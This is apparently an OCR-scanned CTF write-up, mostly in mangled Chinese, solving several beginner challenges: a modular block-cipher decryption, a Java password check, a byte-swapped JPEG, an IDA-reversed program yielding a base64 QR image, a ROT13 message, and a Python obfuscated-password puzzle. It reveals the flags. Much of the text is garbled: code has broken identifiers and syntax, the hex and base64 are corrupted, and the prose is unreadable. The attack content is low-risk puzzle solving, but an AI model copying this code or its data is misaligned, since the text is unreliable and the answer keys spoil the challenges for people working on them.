encrypted_block_int = Mod(block_int * k, MODULUS)
encrypted_bTlocks.append(encrypted_block_int)
k += 1 # Z5EH1

# KN 5 I 43 2H I R 4 TR S
encrypted_message = b''.join(
int(block_int).to_bytes(32, byteorder='big') for block_int in
encrypted_blocks
)

return encrypted_message
# iR R L
def decrypt_message(encrypted_message, key):
num_blocks = Ten(encrypted_message) // 32
blocks = [encrypted_message[i * 32:(i + 1) * 32] for i in range(num_bTlocks)]
decrypted_blocks = []
k = key
# frEA Ul

for block in blocks:
block_int = int.from_bytes(block, byteorder="big"')


af://n83

key_inv = mod_inverse(k, MODULUS)

decrypted_block_int = Mod(block_int * key_inv, MODULUS)
decrypted_blocks.append(decrypted_block_int)

k += 1 # %M1

# AR IS IR 53 2H % R 4 TR BH S
decrypted_message = b''.join(
int(block_int).to_bytes(16, byteorder="'big') for block_int in
decrypted_blocks
)

# LBRETE
if decrypted_message.startswith(MSG_PREFIX.encode('utf-8')):
decrypted_message = decrypted_message[len(MSG_PREFIX) :]

return decrypted_message.rstrip(b'\x00').decode('utf-8"')

# Mk

initial_key =
Integer(0x123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEFQ)

message = "Hello, this is a test message."

print("original Message:", message)

# e

encrypted_message = encrypt_message(message, initial_key)
print("Encrypted Message (hex):", encrypted_message.hex())

# R

decrypted_message = decrypt_message(encrypted_message, initial_key)
print("Decrypted Message:", decrypted_message)

# USTE . exeSXIFAAEE

SHEFEWER, INEHSRESESAHTEE. HASTRERAHT

#flagl

from sympy import Mod, Integer

from sympy.core.numbers import mod_inverse
from Crypto.Util.number import *

N_HEX = OXFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
given_cipher =
0x0b2fc34f05ad3c92881d10e640ddad25435cba5ef5d82d528c41565033b88d628efdef0c08915F
97b86b24687d2eel7d79ef035e29ab73b4f6f4ead994c005elb15f6647ecc3flbf01l6ebe297ae0f6
2619a23dde5fbc96ffeeb5707675245f571705€993e9345944298b019c08563f007aa99b0ddae0c6
386bd1lad618f67ea5c¢

cipher_byte = long_to_bytes(given_cipher)

num_blocks = len(cipher_byte) // 32

blocks = [cipher_byte[i * 32:(i + 1) * 32] for i in range(num_blocks)]

block_int = [bytes_to_long(i) for i in blocks]

print(block_int)

a = 89652660640613347754090896429354803559
print(block_int[0]*inverse(a,N_HEX)%N_HEX)

hidekey = block_int[0]*inverse(a,N_HEX)%N_HEX



N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123"
MODULUS = Integer(int(N_HEX, 16))
MSG_PREFIX = "CryptoCup message:"
def decrypt_message(encrypted_message, key):
num_blocks = Ten(encrypted_message) // 32
blocks = [encrypted_message[i * 32:(i + 1) * 32] for i in range(num_bTlocks)]

decrypted_blocks = []
k = key

for block in blocks:
block_int = int.from_bytes(block, byteorder="big')
key_inv = mod_inverse(k, MODULUS)
decrypted_block_int = Mod(block_int * key_inv, MODULUS)
decrypted_blocks.append(decrypted_block_int)
k += 1

decrypted_message = b''.join(
Tong_to_bytes(int(block_int)) for block_int in decrypted_blocks

if decrypted_message.startswith(MSG_PREFIX.encode('utf-8')):
decrypted_message = decrypted_message[len(MSG_PREFIX):]

return decrypted_message

print(decrypt_message(cipher_byte,hidekey))

b'uZZUe11bwvQQEuzZo8gFED2GI1MNPVSW\x@8\x00\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee

¢

=3(16:E48):
0b2fc34f05ad3c92881d10e640ddad25435cba5ef5d82d528c4156
5033b88d628efdef0c08915f97bB86b24687d2ee17d79ef035e29ab7
3b4f6f4ead994c005e1b15f6647ecc3f1bf016ebe2972e0f62619a23
dde5fbc96ffeeb5707675245f57170599329345944298b019c0856
3f007a2a99b0ddae0c6386bd1ad618f67ea5¢c

BENEERNEN TR

uZZU011bwvQQEuzZo8gFED2GJIMNPVSW
7 =%

0 NYSEC{nishizhendeniubinishinishi]

Reverse
KASZEEE
S|

import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
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import java.security.*;

class vaultboor7 {
pubTlic static void main(String args[]) {
vaultboor?7 vaultbDoor = new VaultbDoor7();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("NYSEC{".length(),userInput.length()-1);
if (vaultbDoor.checkPassword(input)) {
System.out.println("Access granted.");

} else {
System.out.println("Access denied!");
}

}

public int[] passwordToIntArray(String hex) {
int[] x = new int[8];
byte[] hexBytes = hex.getBytes();
for (int i=0; i<8; i++) {

x[i] = hexBytes[i*4] << 24
| hexBytes[i*4+1] << 16
| hexBytes[i*4+2] << 8
| hexBytes[i*4+3];
}
return x;

public boolean checkPassword(String password) {
if (password.length() != 32) {
return false;
}
int[] x = passwordToIntArray(password);
return x[0] == 1096770097
&& x[1] == 1952395366
&& x[2] == 1600270708
&& x[3] == 1601398833
&& x[4] == 1716808014
&& x[5] == 1734305335
&& x[6] == 962749284
&& x[7] == 828584245;

HRIE32 P EURIR _H BN MAERGE T/ \ N8, BHAER



*

from Crypto.Util.number import
x = [1096770097, 1952395366, 1600270708, 1601398833, 1716808014, 1734305335,
962749284, 828584245]
c=[]
for i in range(8):

tmp=bin(x[i])[2:]

1=Ten(tmp)

if 11=32:

tmp="0"*(32-1)+tmp

c.append(int(tmp[0:8],2))

c.append(int(tmp[8:16],2))

c.append(int(tmp[16:24],2))

c.append(int(tmp[24:32],2))
print(''.join([chr(i) for i in c1))

A blt_ef blt shilfTiNg f79bcdlc1s
Misc

i, B

A H

€ I, BE 50 pts

ZWE TREANIRSEE, KB TRRSSS|AOFAR, BRKINE T, ZFiB&E100-1000
VARBIRERSF, (REEFEIRIEFAHIS

THEME & O #Hzip

E100-1000LANE=EHIA :

def dis_prime(n):

if n <= 1:
return False

if n <= 3:
return True

ifn%2=0o0rn%3==0:
return False

i=5

while i * i <= n:
ifn%i=0o0rn%G+2) ==0:

return False

i+=6

return True

def sum_of_primes(start, end):
return sum(n for n in range(start, end+l) if dis_prime(n))

start = 100
end = 1000
print(f"sum of primes between {start} and {end}: {sum_of_primes(start, end)}")
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81875067, MEFFEEE, 581.jpg, AO10E—IR, &M

EEIRE—{ Abase644RiTiZHpng

WEV)  BRO) A /Rl EEO) TEM &0w)  #EH)

FfaFE PhEDE 9B A " BBl e

struct JPGFILE jpgfile
enum M_ID SOIMarker M_SOI (FFD8h)
struct APPO app0
struct DQT dqt[0]
struct DQT dqt[1]

RS — MMEE—SK 463, 13fE15flag
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XHHF)  REE  EHRO) #X(0) KA #EL @EL0) T #qOW)  #EEH)

R BEfgeF REDC SR> AN

ERER R

SN AEE—T

f=open("fl4g.jpeg",'rb")

ff=open("out.jpeg","wb")

a=f.read()

1=Ten(a)

for i in range(0,1,4):
s=al[i:i+4]
ff.write(s[::-11)

f.close()

ff.close()

Q out,jpeg

Flag{byt3_sw4p}

1% Q @ O @




XHEIAT

RENBEFHLH, HIDAE—TFmainEREL

¥ IDA - program.exe C:\Users\jyzho\Desktop\program.exe - a X
File Edit Jump Search View Debugger Lumina Options Windows Help
sH evov it & 3 Ay @O dotit v #wX > 00N debugger v @aee
N C |
Libr: unction [l Regular funct Instruction Data Unexplored External symbol [l Lumina function
[@ Functions 08 X| @ I Viewh ‘D PseudocodeA B [BStack of main B Strings © Hex View-1 @ Structures B Enums B  Imports & Exports
Function name A char vI3[17]; BYRER

[7] __mingw_invalidParameterHandler
(@ pre_c_init

(7] pre_cpp_init

[7] __tmainCRTStartup

[7] WinMainCRTStartup

[7] mainCRTStar tup

@ main
7 _tef 0
tatic_initialization_and_destruction 0(in

_main();

“)std: :operator<<<std: : char_traits<chars>(

refptr__7Stacout,

"The syntax of command is incorrect.”);
refptr_7StdendlIcStlichar_traitsIcEERSt1sbasic_ostreamIT_TO_ESE_(v3);
std: :operator<<<std: : char_traits<char>>(refptr_ZSt4cout, "Type "--help’ as argument for more options.”);

2
string: :operator=((s
__int8)std: :opel

ng *)vi2, r *)arg
==cchar>(v12, "--help")) )

)std: :operator<<<std: : char_traits<char>>(refptr__zStdcout, "Syntax:");
Icstlichar_traitsIcEERSt1sbasic_ostreanIT_To_ESs_(V5);

)std: :operator<<<std: : char_traits<char>>(refptr__zStacout, (
perator<<<std: :char_traits<char>>(vé, " USERNAME PASSWORD");

(3] d_append.
(7 d_append.
@ b,

else

Jvil, (char *)argv[1]);
ring *)vie, (char *)argv[2]);

std::string: :operator=((st
if (arev(2] )
40 std::string: :operator=((st

v 41

2 > 4 )vie, (char *)8byte_488676)
Line 7 of 2665 char>(vi1, "ALDI") & (unsigned _int8)std::operator==cchar>(vie, "384") )
& Graph overview o8 x 1locator<char>: :allocator(vi3);

tring::string(vo, aDataImagePngBa, );

1locator<char>: :~allocator(vi3);

: :operator<<<char>(refptr__zStacout, vo);
std::string::~string((std::string *)v9);
else
vaUl’)BAFmaxnﬁA (4015AF)

= Output [=]N-]

- 0K
4460E0: using guessed type __int64 _fastcall std::allocator<char>::allocator(_QWORD);

446110: using guessed type _inté4 _fastcall Llocator<char>: i~allocator(_QuORD) ;
44D610: using guessed type fastcall : zoperator<<();
44F200: using guessed type fastcall tring(_QWORD, _QWORD, _QWORD);

46EEDO: using guessed type _: fastcall perator==<char>(_QWORD, _QWORD);
46F190: using guessed type _: fastcall std::operator<<<char>(_QWORD, _QWORD);
48E360: using guessed type _int64 (_ fastcall *refptr_ ZStdendlIcStlichar_traitsICEERSt13basic_ostreamIT_T@_ES6_)(std::ostream *this);

Python]|
) e e e

REEHE—MERIGIE, AFRZALDI, ZEBE384, ERImET—T.,

C:\Users\jyzho\Desktop>program.exe ALDI 384

data:image/png;base6l, iVBORWOKGgoAAAANSUhEUGAAAFQAAAHOCATAAABE tE jdAAAACXBIWXMAAAS TAAALEWE AmpuYAAAKT21DQ1BQaG90b3Nob3AgSUNDIHBYb2ZpbGUAAH janVNnVFPpF j333vRCSHi
ALEtvUhUIIFJCi4AUKSYqIQkQSoghodkVUcERRUUEG8igiA00joCMFVESDIoK2AfkIaK0g60Iisr74Xuja9a89+bN/rXXPues852zzwfACAYWSDNRNYAMqUIeEeCDx8TGUeQuQIEKIHAAEAIZzZCFz/SMBAPh+
PDwrIsAHvgABeNMLCADATZVAMBYH/w/qQplcAYCEACBOKThLCIAUAEB6 jKKMAEBGAYCAmCZTAKAEAGDLY2L jAFAtAGAnf+bTAICd+J17AQBbLCEVAaCRACATZYhEAGgG7AKzPVopFAFgwABRMS8Q5ANg tADBIV
2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyNU4AISZABRG81c88SuuEOcqAABUmbI8uSQ5RYFbCC1xB1dXLhtozkkXKxQ2YQJIhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eMU0rs70No62D18t6r8G/yJiYu
P+5c+rcEAAAOF@FtH+LC+2GoATBoBt/qI17gRoXgugdfel ZrIPQLUAoONnaV/Nw+HU8PEWhKLNZ2eXk5NhKXEJIbYcpXff5nwl/AV/1s+X48/Pf1UL7iJIEYXYFHBPjgwsz0TKUcz5IIhGLc509H/Lel //wdOyL
ESWK5WCoU41EScY5EmozzMqUiiUKSKcUlOvIkut8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTAUYcAAPK7b8HUKAgDgGiDUc93/+8//UegIQCAZKmScQAAXKQKL LTKs z/HCAAARKCBKrBBG/ TBGCzABhzBBdzB
C/xgNoRCIMTCQhBCCmSAHHIgKayCQiiGzbAdKmAY1EAdNMBRaTaTcAduw WD} 1wD/phCI7BKLYBCQRBYAGTYSHaiAFiilg ] jggXmYX4IcFIBBKLICDIiBRRIKURNUGxUopUIFVIHFI9cgI5hlxGupETyAAyg
vyGvEex1IGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP208+Q8cww0gYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDulnlY8+xdwQSgUXACTYEd®@IgYR5BSFhMWE7YSKggHCQOEdoINw
KDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWE0STLxB71iEPENYQSiUMyJ7mQAKmxpFTSEtJGOM5SI+ksqZsOSBojk8naZGuyBzmULCAry IXkne TD5DPKG+Qh81sKnWJAcaTUU+IoUspgShnlEOUO5QZ LmDIBVa0
aUt200VQRNY9aQq2ht 1KvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+hOuhHd1R5019BX0svpR+iX6APOdwwNhhWDx4hnKBmbGACYZx13GK+YTKYZ0UsZx1QuNzHrmOeZD5LvWVgqtip8FZHKCpVK1SaVGyov
VKmqpqreqgtV81XLVI+pXINOrkZVM1PjqQnUlqtVqplQ61MbU2ep06iHqmeoblQ/pH5Z/YKGUCNMWOIDPFGgsV/ jvMYgC2MZs3gs IWsNqUZ1g TXEIrHN2Xx2KruY /R27422qqaE5QzNKM1ezUvOUZ j8HUShx+
Jx0TgnnKKeX836K3hTvKeIpG6YOTLKkxZVxrqpaXllirSKtRq@frvTau7aedprlFuln7gQ5Bx00nXCdHZY/0BZ3nU91T3acKpxZNPTrlri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDF
gGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhWGXUYSRudE809VGjUYPjGnGXOMkU23GbcajlgYmISZLTepN7ppSTbmmKaY7TDtMx83Mzal N1pklmzOx1zLnm+eb15vft2BaeFostqi2uGVIsuRaplnutrx
uhVo5WaVYVVpds@atna®@llrutu6cRp710k@6rntZnw7Dxtsm2qbeZs0XYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/TOHDYFZDqsdWhl+c7RyFDpWOt6azpzuP33F9JbplL2dYzxDP2DPjthPLKcRpnVObOOdN
F2e5c4PziTuJSULLLpc+Lpsbxt3IveRKdPVxXeF60vildm70bwu2026/uNu5p7ofcn8w@nymeWTNzOMPIQ+BR5dE/C5+VMGVFrH5PQO+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+Uzw33jLeWV/MN8C3y
LfLT8Nvn1+F30N/I/9k/3r/0QCngCUBZwOJIgUGBWWL7+Hp8Ib+0PzrbZfay2e1BjKC5QRVB jU4KtguXBrSFoyOyQrSH35550ke5pDoVQfujWOAdh5mGLW3UMILWHhVeGPU5wiFga@ TGXNXFR3ENZ30T6RIZE3p
tnMU85ry1KNSo+qi5qPNo3ujS6P8YuZLnM1VidWELsSxw5LiquNm5svt/87F0HUp3iC+NTF5gvyFlweaHOwvSFpxapLhIsOpZATIhOOJTWQRAqqBaMIFITdyWOChnCHeInIi/RNtGI2ENCKh508kgqTXqS7JG
8NXKKXTOLLOWShCepKLxMDUzdmzqeFpp21GOyPTqIMYOSKZBxQqohTZ02Z+pn5mZ2y6x LhbL+xW6L ty8elQfJa70QrAVZLQq2QqboVFoolyoHsmd1lV2a/zYnK0ZarnivNT7cyzytuQN5zvn//tEsISUZK2pYZL
Vy@dW0a9rGo5s jxxedsKUxUFKUZWBqu8uIq2Kn3VT6vtV5eufromek1rgV7ByoL BtQFréwtVCullFfevel+1dT1gviid+1YfqGnRs+FYmKrhTbF5cVF9go3Hj LGUdvyr+Z3JS0qavEUNTPZtIn6ebel Z5bDpaql
+aXDm4N2dqODd9Wt0319kXbL5FNKNu7g7ZDua0/PLi8ZafJzs07P1SkVPRU+1Q27tLdtWHX+G7R7Tht7TvPYO7NXbW723/T7IvttVAVVNIWbVZFtJ+7P3P66JqunidlvttXalObXHtxwPSA/OHIW6217nU1IR3SPV
RSj9Yr60cOxx++/p3vdyONNg1VjZzGUiNwRHnk6fcJI3/ceDTradox7rOEHOx92HWcdL2pCmvKaRpt TmvtbYlu6T8w+0dbq3nr8RIsFD5WOPFL5SvNUyWna6YLTk2fyzUyd1Z19fi753GDborZ752P0320Pb++
6EHThOKX/i+c7vDvOXPKUdPKy2+UTV7hXmq86X23qd008/pPTT8e7nLuarrlca7nuer2le2b36RueN87d9L158Rb/1tWe0T3dvFN6b/FF9/XfFtl+cifIzsu72XenT7q28T7xfIEDLQdLD3YFVP1v+3Njv3HIq
wHeg89HcR/cGhYPP/pH1jwIDBY+Zj8uGDYbrnjg+0TniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69f00ZjRoZfy150/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH80/2j5sFVTOKF Tk
xmTk/8EAS5jz/GMzLdsAAAAGYOhSTQAAeiUAATCDAADS /wAAgOKAAHUWAADGYAAAOpgAABd VK /FRgAAChx JREFUeNrs 3GFuGLcCwHF q5QAeWT1ARE Z+3QravYBpeoGZdQ5QaHuAQs cHMA09QNXKDXDLHGDDug
VCQe1XCO10YEOOYI32wluPWFN;jGOP;Rr+f+GBjGPAI/efx5sFn0zUAP;XaDiDuAIg7A0I0gLgDIOUAUg6AUANG 7gCIOWD:DiDudgGAuAMg 7gCIOWDiDoCHAUg7TAOI0gLgDIOHADUAUAMG7gCIONDiDoCHAYD
UAOTOgLgDIOUAiDsAUglg7gCIOWDiDoCUAyDUATg7gLgDIOUAIDsALg6AUAOIONDiDoCHAYDUATg7AOIOIOUA I DsAUg6AUAMgTgDiDoCYAYDUAT7AOIOgL gDiDsAUg6AUAMg TgCIOLCLAYDUATG7AOIOgLGD
I04AUg6AUAMGTgCIOWDiDiDuATg7A0I0gLgDIOUALDuAUANG7gCIOWDiDoCLALg7AOIOgLgDIOUA: DsAlgtgTgCIOWDiDoCAyDUAOTOGL gDIOUADsAUg6AUAOTOWDiDoCUAYDUATg7gLgDIOUAIDSAUg6A
AMg7gDiDoCuAyDUATg7A0I0TIOUALDsAUg6AUAMgTgCIOUCUAYDUATG7AOIOgL gDiDsALg6AUAMg7gCIOWDiDiDuATg7A0I0gL gDIOUAUg6AUANG7gCIOWDiDoCLAYgTAOIOgL gDIOUA: DuAuAMgTgCIOWDiDo
CuAyDuAOIOgLgDIOUAIDsAUgLg7gCIOWDiDoCUAYDUATg7gLgDIOUAIDsALg6AUAOTOND:DoCLAYDUATG7AOTOIOUA I DsAlg6AUAMg7gDiDoCHAYDUATg7A0TI0gLgDiDsAUg6AUAMg 7gCTIOUCUAYDUATTAOT
0gLgDI0UAUg6AUAMgTgCIOWDiDiDUATg7AOIOgLgDI058aqloshNA3B+dTrd7Pp+/mOy29xD1RUPN6e L LWV6WSF183mq373X3cMfqc i 6fdTrdTT23axu/LMuXJyF1RqNWGx00m8t /XbzUGH001 t40h+H2y87n
83BLLzPUU7q7bOnyzzQtr3zZaGzjIfbj+0L1iYj6f70XRXhTNS/0yLH/qdu++hfDOf jk52anVvmwOwhZ+nUw28vQWNTUFx790ImVZX1xcTMFxXhRVN/uu3Q63/LrZXLz7f4bDcPVFGUFLTI1utW+901xc/vDCt
iRJIMptOw8/NZnMbD/FjpxNFOeDsrCiKoij+9fpldeUaW5tNp2ELIUYjSAPNPtU8z7MsCzMtSZoWRXHrXbIsKuriKMuu3TiOU+NezwsMTMt8nMniJE2zL At9T5IkK8ePNK3Vah8+fAi/ jkaj8NAH6x5LpldHo2
1Mdr/P8/DD7u7uHQ82f9vff/3q1bXrX56ceIGBuH8crXa7KIrxaDQYDMIY+Ka547TWFWelarVYNbKt61luvlhx+cNr5Pdq+2WR2NbrU8wG+12wfNZ1EUg7MzLzMQ92z9bkiRhyB1GO7X/n5mIdzicDEZSIN1kelm
WA4TRmuPKUY1+t0u9UZznqjESYiqroWG7kpheFP1aNU50hb7Xad5qahfePqCFQI7RX1f31yEjZendF9c3q6/KwqlR6UY5ernbDUoOHfX56rAcR968IUPY2ZZ9PpipmZavVINRESIjgajZ7s7IxHozi03w6HSZoe
2dk3256F51XZmBWD6/XG3Uma/t jphPjOFp7PTQ8RVuYSFFro+eHh53t7s+k0SdN/Dic31brqcn71Du0+jnudcI5headGEPC/Y91ie53nVxxUzM7Pp9MnOTuhddeVgMAj 3DRGMoqj /4sXirMuKe FF6woj+ze L pF
EVHWfb88PDu933//n1409Dv98NzWz4Z+24y0e71Bmdnzw8Pw/+yhoNmMOX2HWWZ1xis9sQu2IZWux1FOfIS7GazeW1EPB6P136UFfMS952yeP3q1WAweDscrnHfxQPV/96410vXJI17+8dVXD9+riTzqz/3+2g
N/MHLnAcP2NI2i6P09vTAkXxyYf9tqbfCBqsYtT8Kskb/xaBSeZJiZeWzi0I7jeDwarT3wB3HnYXFPkt10em38GObocRxveM3M8srCqvKz2WyNDVbzKg/8k0rdF8Pcl+LnWqvP4i6eMQbEFSvC8vYwyb6oWny
ywQXv1XLAagr+aRyH68e3rXVZPXg/7vXWOAhVdInGIsU8zxffCT3Z2an0qR512Wit/xfEnbsKw8nl1lsym@zBVst1PfoYVgUmahrCGI8FP/X5435DnefghLHuvNxq3H1p++P778MObO9P79r3T6dQethhmPfOX
L25d2wPizoN822pVax+vqUbZB5v7KoI827959mxwdhYWyydpem®5yvPDu1D/y7IMkuTW87dhg3mex3H8bjK5y9eQUQuwnTHBNDg8Bp+pO+ul4/h8PgIDAUEHI3cAxJ2P0ja/6cVIHXUXPHI+xMSNwgKVFem3i
8DIHQBx5y9iPBpNLUOEX8dqGQAjdwDEHQBXB2AZLIXcpN3d3b9/8YX98FH8/ttv2/s2Sv3LcUIV4BOKTQDiDoCHAYDUATg7TAOIOIOUAI DsAUg6AuAMgTgDibhcAiDsAlg6AUAMgTgCIO4CUAYDUATGTAOIOgL
gDiDsA4g6AuAMg7gCIOwDiDiDuAIg7A0I0gLgDIOUAUg6AUAMg7gCIOWDiDoCUHALg7AOIOgLgDIOUAIDUAUAMg7gCIOWDiDoCHAYDUAOIOgLgDIOUAIDsAUglg7gCIOwDiDoCUAYDUAIg7gLgDIOUAIDSAUg6
AuAOIOWDiDoCUAYDUAIg7AOIOIOUAI DsAUg6AuAMgTgDiDoCHAYDUAT7A0I0gLgDiDsAUg6AUAMgTgCIO4CLAYDUATGTAOIOgL gDIOUALG6AUAMG7gCIOWDiDiDuATg7A0I0gLgDIOUAI DuAUAMg TgCIOWD
DoCUAUg7AOIOgLgDIOUAIDsAUgLg7gCIOWDiDoCyAyDUAOTIOGLgDIOUALDsALg6AUAOTIOND:DoCLAYDUATg7gL gDIOUA DsAlg6AUAMg7gDiDoCHAYDUATg7AOIOI0UA I DsAUg6AUAMG 7gCIOUCUAYDUATGTA
0I0gLgDiDsA4g6AuAMg7gCIOWD:iDiDUATg7A0I0gLgDIOUAUg6AUAMgTgCIONDiDoCUALgTAOIOgLgDIOUA I DuAuAMg7gCIOWDiDoCYAYDUAOTIOGLgDIOUAIDsALgg7gCIOWDiDoCLAYDUATg7gLgDIOUAID
sA4g6AUAOTOWDiDoCUAYDUATg7AOIOTIOUAI DsAUg6AUAMgTgDiDoCLAYDUATg7AOIOgL gDiDsAlg6AuAMg7gCIOUCHAYDUATg7A0I0gLgDIOUAUg6AUAMG 7gCIOWD:DiDUATg7AOI0gLgDIOUAI DuAUAMgTgC
I0wDiDoCHAHgTAOIOgLgDIOHALDsAUgLg7gCIOWDiDoCHAyDUAOIOGLgDIOHAIDSALgEAUANBGVATAI+yAqcWIRGbAAAAAE LFTKSuQmCC

57 —HpngBEl RiYbase64dmiB/, ARFD15EIflag
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_ start: 7148 1onth: 7148 .
Recipe ol B Input T U S =3 I |

length: [}
xaBSeZJiZeWziOI7jeDwarT3wB3HnYXFPkt1l0em38GObocRxvcM3M8srCqvKz2WyNDVbzKg/8kOrdF8Pc1+LngvP4i6eM A
From Base64 QbEFSVC8VYwyb6oWnyywQXv1iXLAagr+aRyH68e3rXVZPXg/7vXWOAhVAINGIsU8zxFFCT3Z2an0qR512Wit/
xfEnbsKw8nllsym@zBVst1PfoYVgUmahrCGI8fP/X5435DnefghLHUvNxq3H1p+
Alphabet - +P778MObB9P79r3T6dQethhmPFOXL25d2wPizoN822pVax+vqUbZB5v7KoI827959mxwdhYWyydpem@S5yvPDwiD/

A-Za-z0-9+/=
/ y73IMkuTW87dhg3mex3H8bJIK5y9eQVQvww7HBNDg8Bp+pO+ul4/

h8PgIDAUEHI3cAxI2P0ja/ 6cVIHFXUXPHI+XMSNwgKVFem3i8DIHQBX5y 9iPBpNLUOEX8dqGQAJdWDEHQBXB2AZzL IXcpN3d
Remove non-alphabet chars [ strict mode 3b9/8YX98FH8/ttv2/
$25vjLcUIV4BOk7QDiDoC4AYDUALg7A0I0I04A1DsA4gEAUAME7gDibh cAi DsA4g6AUAME7gCI04CAAYDUAT g7A0IOgLED
1DsA4g6AuAMg7gCIOWDiDiDUATg7A0IOgL gDI04A4gEAUAME7gCIOWDiDoC4A4g7A0TOgLgDIOAAIDUAUAMg 7gCTOWDiDo
C4AyDUAOIOgLgDIO4A1DsA4gag7gCIOWDi DoC4AYDUATE7 gl gDIOAA] DsAL g6AUAOTIOWDiDOCAAYDUAT7AOTOTI04AIDSA
4g6AUAMg7 gDiDoC4AYDUATIg7A0I0gLgDiDsA4g6AUAME7gCI04C4AYDUAIE7A0I0gLEDI04A4g6AUAME7gCIOWDiDiDUAT
g7A0I0gLgDI04AI DUAUAME7 gCIOWDiDoC4A4g7A0T0gLEDI0AA DS Adgag7 gCIOWDiDOC4AYDUAOIOELgDI04AIDSA4gEA
UAOTOWDiDoC4AyDUATg7gLgDI04AIDsAdg6AUAMg7gDiDoCAAYDUAT7 AOTOTI04AiDsA4g6AUAME7gCIOACAAYDUATE7AO
10gLgDiDsA4g6AUAMg7gCIOWDiDi DUATE7A0T0gL gDI04A4g6AUAME7gCIOWDiDOCAA4g7A0TIOgLgDI04AI DUAUAME7gCT
OwDiDoC4AYDUAOTIOgL gDIO4A1DsAdgag7gCIOWDiDoCAAyDUATE7 gL gDI0AAIDsAdg6AUAOTOWDiDOCAAYDUATg7A0TOIO
4AiDsA4g6AuAMg7gDiDoC4AYDUAIg7A0I0gLgDiDsA4g6AUANg7gCI04C4AYDUAIg7A0I0gLEDI04A4g6AUAME7 gCIOWDL
DiDUAIg7A0IOgLgDIOAAIDUAUAME7gCIOWDiDoCAA4g7A0IOgL gDIOAAIDs Adgdg7gCIOWDiDoC4AyDUAOIOGLEDIO4AID

SA4g6AUANSBEVA7AT+YAGCWIREbAAAAAE] FTKSUQMCC o
start: 5361 time: 3ms
% end: 5361 length: 5361 I o
Output ¢ length: @  lines: 19 a D m e

SAVI.p0é.gI. . IM. . va<} ~
.28r~3.3%. {%p.ay®. .+2ch.cyOC.33360EINxuE 0.+
}yb}
g 8.ggl..Ay2..f3Lv.e.x.~0A.0.V» .ENO.1f3ymD<. . x~. .6
.R«d<@IypU..orc.Ro4.¢e6%%0$_. .. 0jm3. 2£-0A-. ¢fih..d..yla8.ax<.
V6*. . &Y. AUxagZ« .1.A}+A06@E%Z| 2A. 10r
pi..&C-.uy=x?1508.UnUA"A<I. R =Uleie.elh.y.A.»
AEAOI | 6OUUO~. . . I. .o #CIy~xR.cyd!,{ 7. .Z~pp08A.0006%060.9. ./n]0.a1
0juk. ©OFU..0%.<T¢y8lpv. .E'izmoESAAPYE2L.506-a.y.Cqin2 Ex . U. 8A*A.8<..0;&

=.Ug0é...jBH5.."8...11.GE8.R. .I. eU7L..4.U..
.7.08

.piéi.EGYSEEI+

+.2xy&0" ex; . ®qRA. Oyp , 0&x&~pAOW
.q¢aq0.Utzmii.F&q.opIIoEA20301.

.3¢|>.CuA.

u.<r>AA.A...é-. q¢/b<.M-C.GCCj. . #w.A..q. 3, .UnYV¥Y¢.A.y8QlipUoUt6IgEQB. & . 1. i
i i.a 4 . i..;.a.1..;.5..,. 1.3
i, i..;.a io;.a. 1.
i..;.4. 14 i..;.a i..;.4.... i.4..,.
i, 1. i..;.a. i..5.8.0.,.0.5.8.. . .
i. i. i..;.a. P PO
i.. i.. i a..,. 1 i ..;.a..

STEP i i1 i $..5.4.... 1.4, . i. i

— AutoBake ;. g i.. £330, . .ps..2.505. . ... IEND®B" . .
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From Base64
Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

b

synt vf : a0_obgl_sOetrg_de_pbqr

Offset 13

® c31udCB2ZiA6IGEWX29icWxfczBldHINX2R1X3BicXI=

|:| Strict mode

Output

synt vf : a@_obql_seetrg_de_pbqgr

& Encrypt & Decrypt © Copy G Clear

flag is : n0_body_fOrget_qr_code

IEEZHIFAIR

FAstegsolvefJimage combinerIg

EIEFEKEH—Em I LIE ! lag
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CTF{l LOV3 PYTHON}

python?re?[FEp

AHE

import base64 as rtfd
import webbrowser
import time
def mikeswift(cre):
sto = []
gre = ""
for i in cre:
sto.append(i+str(len(i)))
sto.append("h4ck" + 1)
for i in sto:
gre+=i
return gre
def prompt():
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return bytes(input("welcome to the Toading dock. what is the password?\t"),
'utf-8")
def obfuscate(bys):

fusc rtfd.b64encode(bys)

fusc += b"534345fdfgfgfdhty6y56yj1"

fusc = str(fusc)
fusc = fusc[2:1en(fusc)-1]
refus = []

for i in fusc:
refus.append((str(i)))
fusc="florsFIUEfet4565477"
for i in refus:
fusc+=i
return fusc
def crypt(sor):
sro = []
fusc = "893"
for i in range(len(sor)):
sro.append(sor[i]+str(i))
sro.reverse()
for i in sro:
fusc+=i
return fusc
def grant():
print("Congartulation. Pleas Procid")
webbrowser.open("https://ctflearn.com/index.php?
action=find_problem_details&problem_id=449")
def punish():
print("This is going to hurt.")
while True:
time.sleep(.1)
webbrowser.open("https://www.youtube.com/watch?v=03asoGVHix8")
def main(Q):
sikl = prompt()
sik = obfuscate(sikl)
sik crypt(sik)
sik = mikeswift(sik)



if sik ==
"81h4ck891h4ck931h4ck311h4ck181h4ck821h4ck2j1lh4ckj81h4ck811h4cklylh4cky81h4ck801
